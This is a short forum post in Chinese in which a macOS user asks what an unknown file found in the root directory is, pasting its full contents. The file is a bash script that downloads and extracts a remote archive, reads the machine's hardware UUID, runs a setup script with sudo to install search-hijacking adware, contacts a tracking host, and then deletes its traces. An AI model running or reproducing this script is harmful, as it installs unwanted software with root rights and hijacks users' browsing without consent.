macOS Sierra 10.12.6 根目录下出现了一个 file 文件，无后缀，请各位大佬知道是啥

#!/bin/bash
func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.setmacinstallmedia.download/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

COUNTRY="CN"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then
	sudo ./setup.sh "http://www.searchitdown.com/?n=006&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=006&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=006&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
else
	sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_5a01fc&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_5a01fc" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
	/usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

}
func_4 &